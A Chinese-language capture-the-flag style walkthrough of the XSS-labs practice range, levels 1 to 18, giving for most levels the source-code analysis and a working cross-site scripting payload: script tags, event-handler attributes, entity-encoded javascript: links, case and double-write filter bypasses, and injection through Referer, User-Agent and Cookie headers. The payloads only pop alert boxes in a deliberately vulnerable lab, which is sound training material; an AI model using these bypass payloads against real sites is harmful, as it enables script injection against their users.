XSS-labs靶场通关

news2024/9/16 20:37:55

目录

level 1

​level 2 

level 3

level 4

level 5

level 6

level 7

level 8

level 9

level 10

level 11

level 12

level 13

level 14

level 15

level 16

level 17

level 18


今天就要开始打xss-labs靶场了,点击图片开始吧

level 1

查看源码发现没有做任何的过滤

直接在url处输入name的参数即可

payload:<script>alert(1)</script> 

level 2 

我们输入一些简单的赋值,如“666”啥的,都只会回显“没有找到和什么什么相关的结果”

查看源码:

分析:输入keyword后,会有两次输出,第一次.htmlspecialchars()所过滤,所以才只输出“没有找到和什么什么相关的结果,而第二次在表单中input输出,没有进行过滤,因此,可以在第二次的输出插入xss语句。

解题:

方法一:不逃逸input标签闭合前边的双引号加个事件触发xss

payload:" οnmοusemοve="alert(1)

然后鼠标移动到搜索框

方法二:逃逸出input标签执行另外的标签触发xss

闭合标签1">

payload:1"><script>alert(1)</script>

level 3

用第二关的方法发现不行

查看源码:

分析:这次它将两个输出都做了htmlspecialchars()转义,那么双引号和尖括号就没有效果了,但是单引号在这个函数中如果没做特殊的改动,而且源码中的value是用单引号,看来本体题的解法就从用单引号闭合标签入手。

每关的解法都不唯一,这里演示两种 

方法一:payload:' οnmοuseοver='alert(1)

然后鼠标移动到搜索框(第二关的方法一把双引号换成单引号)

方法二:payload:' onclick ='javascript:alert(1)'

然后鼠标点一下搜索框

level 4

直接看源码吧:

分析:本关将<和>都替换成了空格,第一个str输出也用.htmlspecialchars()做了过滤,但不影响用''进行闭合

解法:上一关将所有的单引号变为双引号

level 5

查看源码:

分析:这次对on进行了过滤,但是没有对<>进行过滤,strtolower()的存在让输入的量全转为了小写,因此无法实现大小写的绕过,那就跳出input标签即可。

解法:构造a标签,利用a标签的href属性执行javascript

补充知识:href属性的意思是当标签被点击的时候,就会触发执行转跳,例如转跳到一个网站,我们因此可以触发执行一段js

payload:"></input><a href='javascript:alert(1)'>asd</a>(不唯一)

再点一下asd

level 6

查看源码:

分析:把刚才的很多解法都过滤了,但与上关不同的是,没有用strtolower()将输入的量全转为小写,因此可以使用大小写绕过

payload:"> <SCript>alert(1)</SCript> <"(<"可省略,不唯一)

level 7

看源码看源码:

分析:很好,大小写过滤也不好使了,但是我们可以进行双写绕过嘿嘿

payload:"> <a hrehreff=javasscriptcript:alert(1)>xxx</a>

再点一下xxx

或者payload:"> <scscriptript>alert(1)</scscriptript>

level 8

还是看源码:

分析:代码先是将字符转换为小写,然后过滤特殊字符和双引号,最后又加了一个转义函数输出,所以按常规方法绕过几乎不可能成功,代码处的添加友情链接是突破点,在input框中输入字符提交之后,在友情链接处会载入一个拼接后的a标签,javascript被过滤,所以可对其进行编码绕过。

我们这里把href的内容变成javascript:alert(1),而不涉及标签的修改,所以直接编码绕过

unicode解码工具直接上百度搜就行

选择Unicode转换ASCII

所以payload为:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

添加完点击“友情链接”即可 

level 9

 查看源码: 

分析:这次在上一题的基础上加入了strpos()函数,如果在url中找到'http"那么会返回找到位置的位数,自然不会返回0也就不会等于false,那么输入框必须要输入合法的url即带有http的字符串,就可以绕过了。

补充知识:

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

添加完点击“友情链接”

level 10

查看源码:

前端代码:

分析:这里有三个<input>标签的话,也就意味着是三个参数

看看哪一个标签能够被突破

构造payload:

?keyword=<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"

从页面响应来看,有一个<input>标签的状态可以被改变。这个标签就是名为t_sort<input>标签,之前都是隐藏状态,但是通过构造参数响应发现只有它里面的值被改变了。

因此可以从该标签进行突破,尝试能不能在url注入恶意代码进行弹窗。

payload:

?keyword=<script>alert('xss')</script>&t_sort=" type="text" οnmοusemοve="alert('xss')

然后鼠标移动到搜索框

或者:

?keyword=<script>alert('xss')</script>&t_sort=" type="text" οnclick="alert('xss')

然后鼠标点一下搜索框

level 11

先来看下前端源代码,又有四个货隐藏了

可以看到如同第十关一样有隐藏的表单,不同的是多了一个名为t_ref<input>标签。

尝试用上一关的方法看看能不能从这几个标签进行突破注入代码。

构造payload:

?keyword=good job!&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text

页面没有反应,下面的<input>标签的状态也没有显现出来

再查看源码:

分析:原来t_sort仍然是接受参数值的,但是里面的双引号被编码了

这样浏览器只能正常显示字符但是却无法起到闭合的作用了。

再分析,先获得请求头的Refererer,然后过滤了尖括号后输出在了value处,我们还是闭合value然后使用onmouse或onclick值进行alert弹窗,hidden隐藏了表单,str与str00都被做了转义,可以对输出的$str33写xss语句

bp抓包

可以看到在原始的请求数据包中并没有referer这个请求头,那么我们可以自己给它加上

构造payload:referer:"type="text" οnclick="alert('xss')

接着将这个请求的响应放行到浏览器试试。

 鼠标点一下搜索框

level 12

先看前端源码:

发现第4个<input>标签是t_ua这样一个标签,并且其中的value属性的值怎么看起来那么像抓取数据包中User-Agent头的值?

查看源码验证一下:

果然,这就好办了,与上关不同的是,这次需要修改的是user-agent的值

bp抓包并在User-Agent作出如下修改

payload:"type="text" οnclick="alert('xss')

然后放包,点一下搜索框 

level 13

查前端代码:

这次又换了一个t_cook这个标签,我们猜测它应该还是跟http请求头有关

直接bp抓包,send to Repeater,发现它和cookie有关

又好办了,直接在cookie后面插入xss

payload:" οnfοcus=alert(/xss/) type="text

然后放包,记得点击搜索框

level 14

本关因iframe调用的文件地址失效,无法进行测试。

所以就不用浪费时间了。。。

level 15

直接看源码:

分析:此处用了ng-include指令的话,先了解一下其具体的用法。

1、ng-include 指令用于包含外部的 HTML文件。

2、包含的内容将作为指定元素的子节点。

3、ng-include 属性的值可以是一个表达式,返回一个文件名。

4、默认情况下,包含的文件需要包含在同一个域名下。

特别值得注意的几点如下:

1.ng-include,如果单纯指定地址,必须要加引号

2.ng-include,加载外部html,script标签中的内容不执行

3.ng-include,加载外部html中含有style标签样式可以识别

既然这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件(我们可以包涵第一关并让第一关弹窗

payload:?src='level1.php?name=<img src= ""οnerrοr=alert(1)>'

level 16

查看源码:

分析:过滤不全面很好绕过

1.将参数值中的script替换成空格HTML实体

2.将参数值中的空格也替换成 空格HTML实体

3.将参数值中的/符号替换成 空格HTML实体

4.将参数中的空格替换成空格HTML实体

但是空格可以用回车来代替绕过,回车的url编码是%0a

payload:?keyword=img%0asrc="0"%0aοnerrοr=alert(1)>

level 17

什么b玩意儿,吓我一跳

看看源码看看源码:

提到了embed,它是什么?

其他可以传入的值都被做了实体化转义,无法闭合标签。但<embed>标签就是引入一个swf文件到浏览器端,并且它的src属性值没有添加引号,所以不用闭合

那么问题就在于embed标签本身可以在arg01或者arg02中加入事件去触发。对比发现,传入的参数都出现了embed标签上,所以就可以构造payload了:

payload:?arg01=a&arg02= οnmοuseοver=javascript:alert(1)

再动一下鼠标就行了

level 18

怎么进入18关?

17关往下翻。。。。。

但18关与17关通关方式一样。。。。

level19和level20不用做了,因为你进去是空白

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/617276.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android系统的Ashmem匿名共享内存子系统分析(3)- Ashmem子系统的 C/C++访问接口

声明 其实对于Android系统的Ashmem匿名共享内存系统早就有分析的想法&#xff0c;记得2019年6、7月份Mr.Deng离职期间约定一起对其进行研究的&#xff0c;但因为我个人问题没能实施这个计划&#xff0c;留下些许遗憾…文中参考了很多书籍及博客内容&#xff0c;可能涉及的比较…

基于深度学习的高精度人体摔倒行为检测识别系统(PyTorch+Pyside6+YOLOv5模型)

摘要&#xff1a;基于深度学习的高精度人体摔倒行为检测识别系统可用于日常生活中或野外来检测与定位人体摔倒行为目标&#xff0c;利用深度学习算法可实现图片、视频、摄像头等方式的人体摔倒行为目标检测识别&#xff0c;另外支持结果可视化与图片或视频检测结果的导出。本系…

前端学习--Vue3.0(1)

1使用create-vue搭建Vue3项目 1.1 认识create-vue create-vue是Vue官方新的脚手架工具&#xff0c;底层切换到了 vite&#xff08;下一代前端工具链&#xff09;&#xff0c;为开发提供极速响应 create-vue基于vite vue-cli基于webpack 1.2 创建项目 需要16.0及以上的node.j…

机器学习笔记:深度学习模型复杂度

1 时间复杂度&#xff08;模型运算次数&#xff09; 决定了模型的训练/预测时间用FLOPs指代 机器学习笔记&#xff1a;FLOPs_flop 机器学习_UQI-LIUWJ的博客-CSDN博客 2 空间复杂度&#xff08;模型参数数量&#xff09; 决定了模型的参数数量 2.1 全连接层参数量 包含bias…

EBU6304 Software Engineering 知识点总结_6 项目管理_下 Design Patterns

Design Patterns Decorator Design pattern 用于扩展系统功能的装饰模式。 比如我们有一个鸭子类&#xff0c;可以调用其鸭子叫的方法。我们初始化了一个鸭子对象&#xff0c;如何统计这个对象叫了几次&#xff0c;也就是其鸭子叫方法被调用了几次&#xff1f;记住OCP原则不…

mysql 在 linux下的安装 和 配置

文章目录 1. linux 安装mysql1. 源码安装1.找到源码包2&#xff1a; 进行配置3&#xff1a;初始化数据目录官方说明 自用4&#xff1a;启动数据库5:写入环境变量 2&#xff1a;使用yum安装1. 直接配置mysql仓库 或者下载MySQL Yum Repository2&#xff1a;安装启动进入mysql 3&…

整理推荐 6 个超好用的平面设计网站!

本文将为大家介绍了 6 个最佳学习平面设计的网站&#xff0c;包括即时设计、Behance、Awwwards、Dribbble、Designinspiration 和 Pinterest。选择学习平面设计网站需要考虑匹配自己的设计风格、是否具有局限性等&#xff0c;可以试用几个网站后选择最合适的。 1、即时设计 即…

我们投出去的简历为什么已读不回?来看面试官如何筛选简历、挑选求职者?

目录 前言&#xff1a; 应届生 1、看学历 2、看实习经历 3、看专业 职场人士 面试官喜欢问什么问题 总结 前言&#xff1a; 金三银四&#xff0c;是求职者蠢蠢欲动的季节&#xff0c;亦是企业摩拳擦掌的季节。 因为作为企业的一名金牌面试官&#xff0c;我收到的内推…

RK1126 C++ yolov5 6.2

基于 rk npu &#xff0c; 实现 yolov5 6.2 模型推理 实现过程 ⚡️​ 编译 opencv 需根据自己路径修改. cmake -D CMAKE_BUILD_TYPERELEASE \-D CMAKE_C_COMPILER./gcc-arm-8.3-2019.02-x86_64-arm-linux-gnueabihf/bin/arm-linux-gnueabihf-gcc \-D CMAKE_CXX_COMPILER./gc…

【Linux】多线程02 --- 线程的同步互斥问题及生产消费模型

&#x1f34e;作者&#xff1a;阿润菜菜 &#x1f4d6;专栏&#xff1a;Linux系统编程 目录 一、线程互斥1. 为什么要有共享资源临界保护&#xff1f; 2.理解加锁2.1 认识锁&#xff0c;使用锁 线程同步互斥问题是指多线程程序中&#xff0c;如何保证共享资源的正确访问和线程间…

阿里P8大佬七天七夜制作这份自动化核心知识点,错过了就是错过了

整理了一份自动化核心知识点。覆盖了web前端基础&#xff0c;HTML标签&#xff0c;CSS样式&#xff0c;自动化测试工具&#xff0c;webdriver环境搭建&#xff0c;元素定位&#xff0c;手机操作系统&#xff0c;移动自动化测试工具&#xff0c;自动化测试的流程与分类&#xff…

web自动化测试入门篇01——框架介绍

1. 目的 web自动化测试作为软件自动化测试领域中绕不过去的一个“香饽饽”&#xff0c;通常都会作为广大测试从业者的首选学习对象&#xff0c;相较于C/S架构的自动化来说&#xff0c;B/S有着其无法忽视的诸多优势&#xff0c;从行业发展趋、研发模式特点、测试工具支持&#x…

高完整性系统(7)Formal Verification and Validation

文章目录 Specification Process 规格化过程State Invariants案例check ... expect Alloy是一种用于构建和检查抽象模型的语言和工具。当Alloy说所有断言都成立时&#xff0c;这意味着你的模型或规格在给定范围内已成功通过了所有的断言检查。换句话说&#xff0c;对于你所定义…

SOLIDWORKS PDM 独立程序 C#

本主题介绍如何创建登录到 一个 SOLIDWORKS PDM Professional 文件库&#xff0c;并列出根文件夹中的文件。 启动Visual Studio.文件 > 新建 > 项目 > Visual C# > WPF&#xff08;也可以使用WF&#xff09; 输入程序名称选择存储路径确定在解决方案资源管理器中…

(学习日记)2023.06.06

写在前面&#xff1a; 由于时间的不足与学习的碎片化&#xff0c;写博客变得有些奢侈。 但是对于记录学习&#xff08;忘了以后能快速复习&#xff09;的渴望一天天变得强烈。 既然如此 不如以天为单位&#xff0c;以时间为顺序&#xff0c;仅仅将博客当做一个知识学习的目录&a…

【Linux】基础文件IO、动静态库的制作和使用

基础IO 前言回顾C语言文件IO操作三个标准 系统文件I/O系统调用接口不带mode的open带mode的openwirtereadopen的第二个参数flagsopen返回值文件的管理0&#xff0c;1&#xff0c;2演示文件描述符的分配规则重定向C中的0、1、2输入重定向追加重定向 另一种重定向的方式dup2实现输…

MySQL5.7主从同步配置(一台master,两台slave)

1. 下载MySQL(5.7.42) rpm -ivh http://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpm2.安装 yum install mysql-server2.1 安装过程中如果报错如下&#xff0c;按下边方法处理。否则略过即可 2.2 解决方案&#xff1a;执行以下命令 rpm --import https…

mongodb redis mysql 区别

一、MySQL 关系型数据库。 在不同的引擎上有不同 的存储方式。 查询语句是使用传统的sql语句&#xff0c;拥有较为成熟的体系&#xff0c;成熟度很高。 开源数据库的份额在不断增加&#xff0c;mysql的份额页在持续增长。 缺点就是在海量数据处理的时候效率会显著变慢。 二、Mo…

Vue3中setup函数、以及父子组件传值讲解

文章目录 1.vue3中setup函数的执行时机2.setup函数的两种写法2.1 普通写法2.2 语法糖写法 3.vue3父组件给子组件传值。4.vue3子组件给父组件传值 1.vue3中setup函数的执行时机 setup选项的写法和执行时机&#xff0c;setup函数在beforeCreate函数之前执行&#xff0c;并且是自…

以安全为底线 共迎机遇和挑战|2023 开放原子全球开源峰会可信基础设施技术分论坛即将启幕

蚂蚁集团的业务领域&#xff0c;对于「可信」有非常高的技术要求。这种可信技术不仅体现在可靠、健壮&#xff0c;也体现在金融领域独有的风控难题以及分布式系统中持续提供服务的续航能力。可信基础设施中有大量的开源项目&#xff0c;而新的机会也在不断涌现。 2023 开放原子…